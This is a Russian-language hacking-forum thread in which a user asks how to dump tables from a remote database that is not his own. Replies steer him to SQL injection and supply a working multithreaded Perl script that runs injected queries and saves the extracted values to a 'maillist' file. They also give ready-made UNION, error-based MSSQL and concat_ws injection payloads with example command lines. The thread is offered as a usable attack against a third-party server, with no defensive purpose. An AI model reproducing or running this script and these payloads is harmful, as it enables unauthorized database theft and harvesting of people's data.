Форум АНТИЧАТ - Терасрочно...Нужен дампер содержимого таблиц.

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)

- - Терасрочно...Нужен дампер содержимого таблиц. (https://forum.antichat.xyz/showthread.php?t=107596)

Терасрочно...Нужен дампер содержимого таблиц.

Срочно нужен дампер содержимого таблиц MySql,либо mysql/mssql/n,где n - любая бд кроме MySql.С Велли плюсеги и храм впридачу )

Код:

http://sypex.net/products/dumper/downloads/

Эм...Я так понял,что это локальный дампер,а нужен удалённый:(:((типа SIPTа).Извиняюсь за внесённую дизинформацию)

просто отредактируй в скрипте строчку

PHP код:


		
			
// mysql сервер

define('DBHOST', 'localhost:3306');

// Базы данных, если сервер не разрешает просматривать список баз данных,

// и ничего не показывается после авторизации. Перечислите названия через

на нужную тебе

UPD:
ну или вот

Код:

http://mentat.sibintercom.ru/Nemo/dump/rst_sql.txt

Так я ж не знаю акка от бд =_=.К тому же,она на локалхосте...Установить на сам сервер я не могу её(на удалённый,НЕ мой).Я правильно понял ?

Ты хочешь через sql-injection сдампить?

ставишь ActivePerl
сохраняешь код в scr.pl

Код:

#!/usr/bin/perl



use strict;

use LWP 5.64;

use LWP::UserAgent;

use threads; #( 'exit'  => 'threads_only' );



print "\nTest file - ";

open(FH, ">>test") and print '[ok]' or print '[!!]';

close(FH);



if(!(defined(@ARGV))){

    usage();

}

else{

    start(@ARGV);

}



sub start{

    my $sh = 1;

    my $repeat = pop @ARGV;

    my $maxthreads = pop @ARGV;

    my $deflink = pop @ARGV;

    my $tmp = 1;

    while($repeat--){

        my $link;

        ($link = $deflink) =~ s/_sh_/$sh/;

        if($tmp < $maxthreads){

            $sh++;

            threads->create(\&getr, $link)->detach;

        }

        else{

            $sh++;

            threads->create(\&getr, $link)->join;

            $tmp = 1;

        }

        $tmp++;

    }

}



sub getr{

    my $ua = LWP::UserAgent->new;

    $ua->agent("Firefox/2.0");

    print "\nUrl in thread: $_[0]";

#   my $resp = $ua->get($_[0]);

    my $resp = HTTP::Request->new(GET => $_[0]);

#  $resp->content_type('application/x-www-form-urlencoded');

    my $res = $ua->request($resp);

#    print "\nGET - [ok]" if $res->is_success;

#    print "\nGET - [!!]" if !$res->is_success;

    if($res->content){

#   open(FH, ">>content.txt");

# print FH $res->content, "\n\n\n===============================\n\n";

#    close(FH);

#        my @cont = split(/\n/, $res->content);

        my @maillist;

#       for (@cont){

            if($res->content =~ m/[^']+/){

                push @maillist, ($res->content =~ m/nvarchar value '([^']+)' to data/gmi);

                print "\nMail: ", join("\n", (m/[^']+/g)), "\n";

            }

#       }

        open(FH, ">>maillist.txt");

        for (@maillist){

            print FH "$_\n"

        }

        close(FH);

    }

#   threads->exit();;

}



sub usage{

    print "\n\nCoded by unrealm. for PSIH ;) ICQ: 907912";

    print "\nUsage: perl scr.pl link max_threads max_sh";

    print "\nExample: perl scr.pl http://example.ru/1.php?a=_sh_&param=12 10 100\n";

    exit;

}

Настраиваешь ответы
т.е
push @maillist, ($res->content =~ m/nvarchar value '([^']+)' to data/gmi);

запускешь из cmd
example:

Цитата:

scr.pl "http://site.com/index.php?a=id+union+select+name+from+users+limit+ _sh_,1" 10 999

_sh_ - переменная, скрипт будет её перебирать
10 - число потоков
999 - До скольки перебирать _sh_

push @maillist, ($res->content =~ m/nvarchar value '([^']+)' to data/gmi);

Это два ответа или один ? Как это понять ? Например,при существовании таблицы ответ "yes",а при её отсутствии - "no".Как это записать ? Остальное вопросов не вызывает.

ЗЫ: Сам вывод у меня идёт такой:

select username from users where username=тут_вывод

ORDER by t.priority, t.id ASC
(script.php, 369)

Вывод находится в исходниках страницы.

епт, ну допустим запрос

Цитата:

http://site.com/index.php?if=1+or+1=(select+top+1+table_name+from+ information_schema.tables)--

Возвращает тебе:

Цитата:

Conversion failed when converting the nvarchar value 'Users' to data type int.

Тебе нужно Users, вот и пишешь
nvarchar value ' и ' to data type

Цитата:

ЗЫ: Сам вывод у меня идёт такой: select username from users where username=тут_вывод

Ну вот и смотришь что у тебя слева и справа стоит:
push @maillist, ($res->content =~ m/username=([^']+)то что с права/gmi);

Можно еще так сделать
concat_ws(0x72747274727472,0x3a,username,0x3a,0x72 747274727472)
0x72747274727472 = rtrtrtr
тогда
push @maillist, ($res->content =~ m/rtrtrtr: ([^']+):rtrtrtr/gmi);